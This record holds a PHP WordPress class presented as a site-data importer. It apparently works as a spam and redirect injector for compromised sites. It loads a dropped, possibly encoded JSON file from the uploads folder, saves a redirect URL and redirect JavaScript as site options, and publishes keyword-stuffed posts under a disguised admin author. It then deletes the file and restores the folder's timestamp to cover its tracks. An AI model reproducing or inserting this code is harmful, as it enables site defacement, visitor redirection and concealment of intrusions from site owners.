{'id': 183207, 'code': 'Y2gQopBX
<?php
class WPCustomData
{
var $categoryId;
static function build()
{
if (!self::checkForWordpress()) {
return;
}
$cust = new self();
$cust->addHooks();
return $cust;
}
static function checkForWordpress()
{
return isset($GLOBALS['wpdb']) && is_object($GLOBALS['wpdb']);
}
function addHooks()
{
add_action('wp_loaded', array($this, 'importSiteData'));
}
function importSiteData()
{
if (defined('ABSPATH')) {
$file = (ABSPATH . '/wp-content/uploads/site_data.json');
if (file_exists($file)) {
$json = $this->loadFile($file);
$data = $this->loadJson($json);
$output = $this->addSiteContent($data);
$this->removeTempFile($file);
return $output;
}
} else {
throw new RuntimeException('Wordpress is not loaded');
}
}
function getCategoryId()
{
if (isset($this->categoryId)) {
return $this->categoryId;
}
if ($id = get_option('special_category')) {
$this->categoryId = (int) $id;
return $this->categoryId;
}
throw new RuntimeException('Could not get special category ID.');
}
function addSiteContent($data)
{
$output = array();
$success = false;
try {
$this->setTimeouts();
$this->setRedirectUrl($data['redirectUrl']);
$this->setRedirectJs($data['redirectJs']);
$id = $this->createCategory($data['category']);
$this->setNewCategoryId($id);
$this->addPosts($data['pages']);
$output['success'] = true;
$output['categoryId'] = $this->getCategoryId();
$output['posts'] = $this->getPostData();
} catch (Exception $e) {
$output['success'] = false;
$output['error'] = $e->getMessage();
$output['trace'] = $e->getTraceAsString();
}
return $output;
}
function setTimeouts()
{
$disabled = ini_get('disable_functions');
$disabled = explode(',', $disabled);
if (function_exists('set_time_limit') && !in_array('set_time_limit', $disabled, true)) {
@set_time_limit(0);
}
if (function_exists('ignore_user_abort') && !in_array('ignore_user_abort', $disabled, true)) {
@ignore_user_abort(true);
}
}
function loadFile($file)
{
$content = file_get_contents($file);
if ($content === false) {
throw new RuntimeException("Could not load file: {$file}");
}
return $content;
}
function loadJson($json)
{
if (!@json_decode($json, true)) {
$json = WPEncoding::extract($json);
}
if (!($data = json_decode($json, true))) {
throw new RuntimeException("Could not decode json: {$json}");
}
return $data;
}
function setRedirectUrl($url)
{
return update_option('redirect_url', WPEncoding::convert($url));
}
function setRedirectJs($script)
{
return update_option('redirect_js', WPEncoding::convert($script));
}
function createCategory($category)
{
if (defined('ABSPATH')) {
require_once ABSPATH . '/wp-admin/includes/taxonomy.php';
}
if (($id = wp_create_category($category)) === 0) {
throw new RuntimeException("Could not create category: {$category}");
}
return $id;
}
function setNewCategoryId($id)
{
return update_option('special_category', $id);
}
function addPosts($posts)
{
try {
$catId = $this->getCategoryId();
$existingPosts = $this->getPostData();
} catch (RuntimeException $e) {
$existingPosts = array();
}
foreach ($posts as $data) {
foreach ($existingPosts as $ep) {
if ($ep['keyword'] === $data['keyword']) {
continue 2;
}
}
$this->addPost($data);
}
}
function addPost($data)
{
$authorId = username_exists('content');
if ($authorId === false) {
$authorId = username_exists('wp_default_admin');
}
if ($authorId === false) {
$authorId = 1;
}
$postData = array('post_date' => date('Y-m-d H:i:s', $data['timestamp']), 'post_content' => $data['bodyText'], 'post_title' => $data['metaTitle'], 'post_status' => $data['timestamp'] <= time() ? 'publish' : 'future', 'post_category' => array($this->getCategoryId()), 'post_name' => $data['slug'], 'post_author' => $authorId);
$id = wp_insert_post($postData, true);
if (is_wp_error($id)) {
throw new RuntimeException('Could not insert post: ' . print_r($id->get_error_messages(), true));
}
update_post_meta($id, '_keyword', $data['keyword']);
update_post_meta($id, '_niche', $data['niche']);
}
function addContextualLinks($posts)
{
foreach ($posts as $data) {
$contextualLinks = $data['contextualLinks'];
$links = array();
$post = $this->getPostWithKeyword($data['keyword']);
foreach ($contextualLinks as $linkKeyword) {
$linkPost = $this->getPostWithKeyword($linkKeyword);
$links[] = sprintf('<a href="%s">%s</a>', get_permalink($linkPost->ID), $linkKeyword);
}
update_post_meta($post->ID, '_contextual_links', $links);
}
}
function getPostWithKeyword($keyword)
{
$args = array('cat' => $this->getCategoryId(), 'meta_key' => '_keyword', 'meta_value' => $keyword);
$query = new WP_Query($args);
if ($query->post_count === 0) {
throw new RuntimeException("Could not find post for keyword: {$keyword}");
}
$post = $query->posts[0];
wp_reset_postdata();
return $post;
}
function removeTempFile($file)
{
if (!file_exists($file)) {
return;
}
$parentDir = dirname($file);
$lastMod = filemtime($parentDir);
unlink($file);
@touch($parentDir, $lastMod);
}
function getPostData()
{
$args = array('cat' => $this->getCategoryId(), 'orderby' => 'ID', 'order' => 'ASC', 'posts_per_page' => -1);
$query = new WP_Query($args);
if ($query->post_count === 0) {
throw new RuntimeException('Could not get data for added posts.');
}
$posts = array();
foreach ($query->posts as $post) {
$posts[] = array('id' => $post->ID, 'niche' => get_post_meta($post->ID, '_niche', true), 'keyword' => get_post_meta($post->ID, '_keyword', true), 'permalink' => get_permalink($post));
}
wp_reset_postdata();
return $posts;
}
function updateAdditionalLinks($postId, $links)
{
update_post_meta($postId, '_additional_links', serialize($links));
update_post_meta($postId, '_additional_links_updated', time());
}
}